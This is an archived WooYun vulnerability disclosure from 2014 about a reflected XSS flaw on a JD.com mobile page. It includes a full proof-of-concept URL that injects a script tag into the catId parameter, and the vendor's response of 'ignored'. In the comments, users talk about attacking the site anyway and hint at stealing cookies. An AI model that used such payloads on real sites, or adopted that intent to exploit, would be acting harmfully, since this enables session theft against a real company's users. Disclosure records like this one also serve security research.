京东某处XSS跨站问题

漏洞概要

缺陷编号:WooYun-2014-088822

漏洞标题:京东某处XSS跨站问题

相关厂商:京东商城

漏洞作者:刺丶魂

提交时间:2014-12-26 20:55

公开时间:2014-12-31 20:56

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

Tags标签:

漏洞详情

披露状态:

2014-12-26: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已查看当前漏洞内容,细节仅向厂商公开
2014-12-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

RThttp://car.m.jd.com/jdshop.html?catId=400103411%22%3E%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E

漏洞证明:

URL:http://car.m.jd.com/jdshop.html?catId=400103411

修复方案:

参数过滤!

漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-3120:56

厂商回复:

漏洞Rank:3 (WooYun评价)

最新状态:

暂无

评价

  1. 2010-01-01 00:00 onpu 白帽子 | Rank:115 漏洞数:8)

    应该深入挖掘。。

  2. 2010-01-01 00:00 刺丶魂 白帽子 | Rank:3 漏洞数:1)

    @onpu 京东忽略!哥下次就插爆它!还有就是 摸摸的修复然后厂商回复“无影响厂商忽略”

  3. 2010-01-01 00:00 onpu 白帽子 | Rank:115 漏洞数:8)

    @刺丶魂 果然偷偷的修复了...

  4. 2010-01-01 00:00 谜一样的 白帽子 | Rank:6 漏洞数:1)

    @onpu 修复的不彻底,我可以获得cookie,正在考虑要不要报

  5. 2010-01-01 00:00 刺丶魂 白帽子 | Rank:3 漏洞数:1)

    @谜一样的 还是 算了吧! 用力插爆他! 还记得 CEO 抢走了我们的奶茶妹了吗?

  • N/A